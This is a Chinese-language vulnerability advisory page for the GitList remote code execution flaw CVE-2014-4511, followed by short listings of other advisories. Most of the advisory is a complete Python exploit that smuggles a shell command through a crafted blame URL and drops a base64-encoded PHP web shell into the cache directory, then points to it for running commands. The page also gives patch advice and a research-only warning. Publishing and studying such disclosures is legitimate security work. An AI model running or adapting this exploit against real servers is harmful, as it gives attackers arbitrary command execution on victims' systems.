GitList远程代码执行漏洞(CVE-2014-4511)

所属分类: 网络安全 / 漏洞分析 阅读数: 193
收藏 0 赞 0 分享

受影响系统:
GitList GitList < 0.4.0
 GitList GitList
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68253
 CVE(CAN) ID: CVE-2014-4511
 
GitList是用PHP编写的开源软件,是git库浏览器。
 
GitList 0.4.0之前版本在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞执行任意代码。
 
<*来源:drone
  *>
测试方法: --------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


复制代码
代码如下:

from commands import getoutput
import urllib
import sys
from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: <a href="http://gitlist.org/">http://gitlist.org/</a>
Software link: <a href="https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz">https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a>
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: <a href="http://hatriot.github.io/blog/2014/06/29/gitlist-rce/">http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a>
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git'">http://localhost/gitlist/my_repo.git'</a> % sys.argv[0]
print ' Example: python %s <a href="http://localhost/gitlist/my_repo.git">http://localhost/gitlist/my_repo.git</a> /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1] url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?> payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
GitList
 -------
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://gitlist.org/

更多精彩内容其他人还在看

OpenBSD处理畸形的IPv6数据多个远程拒绝服务漏洞

受影响系统: OpenBSD OpenBSD 4.2 OpenBSD OpenBSD 4.1 描述: OpenBSD是一款开放源代码Unix类操作系统。 OpenBSD处理畸形的IPv6数据时存在漏洞,远程攻击者可能利用此漏洞导致内核忙碌。
收藏 0 赞 0 分享

PunBB口令重置弱随机数绕过安全限制漏洞

PunBB是一款基于PHP的论坛程序。 PunBB的口令重置功能实现上存在漏洞,远程攻击者可能利用此漏洞在特定条件重置用户的口令。 如果用户忘记了口令的话,可使用PunBB的口令重置功能重置。在请求口令重置后,论坛会向用户发送一封邮件,包含有一个新的随机口令以及激
收藏 0 赞 0 分享

Novell iPrint ienipp.ocx ActiveX 控件溢出漏洞

受影响系统: Novell iPrint Client for Windows 4.32 Novell iPrint Client for Windows 4.26 不受影响系统: Novell iPrint Client for Windows 4
收藏 0 赞 0 分享

Apple iPhoto 存在订阅远程格式串处理漏洞

受影响系统: Apple iPhoto '08 7.1 不受影响系统: Apple iPhoto 7.1.2 描述: ----------------------------------------------
收藏 0 赞 0 分享

Linux Kernel vmsplice_to_pipe本地权限提升漏洞

受影响系统: Linux kernel 2.6.17 - 2.6.24.1 不受影响系统: Linux kernel 2.6.24.2 描述: Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux K
收藏 0 赞 0 分享

Cisco Unified IP Phone SCCP及SIP 协议安全漏洞

受影响系统: Cisco Unified IP Phone 7971G Cisco Unified IP Phone 7970G Cisco Unified IP Phone 7961G Cisco Unified IP Phone 7960G Ci
收藏 0 赞 0 分享

Invision Power Board BBCode 处理 HTML注入漏洞

受影响系统: Invision PS IPB 2.3.4 描述: Invision Power Board是一个非常流行的PHP论坛程序。 IPB处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞攻击其他Web用户。 IPB没
收藏 0 赞 0 分享

BBSXP绕过过滤继续注入漏洞分析

漏洞分析: 官方最新过滤函数HTMLEncode,这次过滤了字符* ,再一次绕过过滤注射 Function HTMLEncode(fString) fString=Replace(fString,CHR(9),"") fString=Repla
收藏 0 赞 0 分享

新云CMS Online.asp页面过滤不严导致SQL注入漏洞

受影响系统: 最新版本 漏洞文件: /inc/online.asp 代码分析如下: OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip
收藏 0 赞 0 分享

CA BrightStor ARCserve Backup 存漏洞

受影响系统: Computer Associates BrightStor ARCserve Backup 11.5.2.0 (SP2) 描述: ----------------------------------------------------------
收藏 0 赞 0 分享
查看更多